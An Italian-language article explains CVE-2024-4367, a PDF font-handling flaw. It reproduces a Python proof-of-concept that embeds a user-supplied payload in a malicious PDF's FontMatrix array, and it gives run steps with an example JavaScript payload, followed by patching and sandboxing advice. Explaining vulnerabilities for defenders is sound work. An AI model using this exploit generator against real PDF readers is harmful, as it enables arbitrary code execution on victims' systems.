La vulnerabilità CVE-2024-4367 riguarda un grave difetto di sicurezza trovato in alcune applicazioni che elaborano file PDF, che potrebbe consentire agli aggressori di eseguire codice arbitrario sul sistema della vittima quando viene aperto un PDF malizioso. Questa vulnerabilità può essere sfruttata tramite la creazione di PDF appositamente progettati che sfruttano difetti nel modo in cui le applicazioni gestiscono i dati relativi ai font. Il Proof of Concept (PoC) fornito su GitHub per CVE-2024-4367 dimostra come questa vulnerabilità possa essere attivata utilizzando un semplice script Python.
Panoramica del PoC
Lo script PoC in questione genera un file PDF malizioso che, quando aperto da un’applicazione vulnerabile, può eseguire codice arbitrario. L’exploit prende di mira un problema nella gestione del rendering dei font, dove una matrice di font formattata in modo speciale può portare all’esecuzione di payload dannosi.
Lo script Python, come mostrato di seguito, accetta un payload fornito dall’utente e lo inserisce in un file PDF progettato che contiene una matrice di font non sicura. Questa matrice manipola le risorse del documento per eseguire il payload quando il PDF viene elaborato da un’applicazione vulnerabile.
Lo Script del PDF Malizioso
Lo script inizia definendo una funzione generate_payload(payload)
che accetta un payload fornito dall’utente come input. Questo payload viene quindi formattato e incorporato nella sezione della matrice di font del PDF, che contiene riferimenti potenzialmente pericolosi che possono eseguire il payload quando il PDF viene processato.
import sys
def generate_payload(payload):
backslash_char = "\\"
fmt_payload = payload.replace('(', '\\(').replace(')', '\\)')
font_matrix = f"/FontMatrix [0.1 0 0 0.1 0 (1{backslash_char});\n" + f"{fmt_payload}" + "\n//)]"
return f"""
%PDF-1.4
%DUMMY
8 0 obj
<<
/PatternType 2
/Shading<<
/Function<<
/Domain[0 1]
/C0[0 0 1]
/C1[1 0.6 0]
/N 1
/FunctionType 2
>>
/ShadingType 2
/Coords[46 400 537 400]
/Extend[false false]
/ColorSpace/DeviceRGB
>>
/Type/Pattern
>>
endobj
5 0 obj
<<
/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]
/Type/Font
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding/WinAnsiEncoding
{font_matrix}
/Subtype/Type1
/FirstChar 65
/FontDescriptor 9 0 R
>>
endobj
...
"""
In questo script:
- La funzione
generate_payload
costruisce un payload malizioso formattando prima l’input dell’utente per sfuggire a eventuali parentesi, che potrebbero interferire con la struttura del PDF. - Il payload viene quindi inserito nell’array
FontMatrix
, una parte del descrittore del font del PDF. Questo è cruciale perché alcune applicazioni vulnerabili potrebbero eseguire comandi arbitrari incorporati nelle matrici di font.
Come Funziona
Quando il PDF viene aperto da un lettore o da un’applicazione vulnerabile, il payload malizioso incorporato nell’oggetto FontMatrix
viene eseguito, portando potenzialmente all’esecuzione di codice arbitrario, all’exfiltrazione di dati o a una condizione di denial-of-service, a seconda della natura del payload.
Lo script viene eseguito dalla linea di comando, dove l’utente fornisce un payload come argomento. Il payload viene elaborato dalla funzione generate_payload
, e il contenuto risultante del PDF viene scritto in un file chiamato poc.pdf
.
Esecuzione dell’Exploit
- Preparare l’exploit:
- Assicurati di avere Python 3 installato sul tuo sistema.
- Scarica o clona il PoC da GitHub.
- Esegui lo script passando un payload come argomento. Esempio:
generate_malicious_pdf.py
"alert(document.domain)"
- Questo genererà il file
poc.pdf
contenente l’exploit creato.
- Attivare la vulnerabilità:
- Apri il file
poc.pdf
generato utilizzando un lettore PDF o un’applicazione vulnerabile. Questo eseguirà il payload incorporato nel documento, attivando l’exploit.
- Apri il file
Mitigazioni e Raccomandazioni
Per proteggersi da questo tipo di vulnerabilità:
- Aggiorna le applicazioni: Assicurati che i lettori PDF e altre applicazioni che gestiscono file PDF siano aggiornati. Le patch di sicurezza potrebbero risolvere la vulnerabilità CVE-2024-4367.
- Limita l’accesso ai PDF non attendibili: Non aprire PDF da fonti non verificate. Implementa misure di sandboxing o isolamento quando si gestiscono documenti potenzialmente non sicuri.
- Strumenti di sicurezza: Utilizza strumenti di sicurezza come software antivirus o scanner PDF che esaminano la presenza di payload dannosi nei PDF.
Conclusione
La vulnerabilità CVE-2024-4367 evidenzia i rischi associati alla gestione non sicura dei file PDF in alcune applicazioni. Creando un PDF malizioso utilizzando lo script PoC fornito, gli aggressori possono sfruttare questo difetto per eseguire codice arbitrario sul sistema della vittima. È fondamentale che gli utenti applichino le patch alle applicazioni vulnerabili e prestino attenzione nell’aprire file PDF provenienti da fonti non attendibili.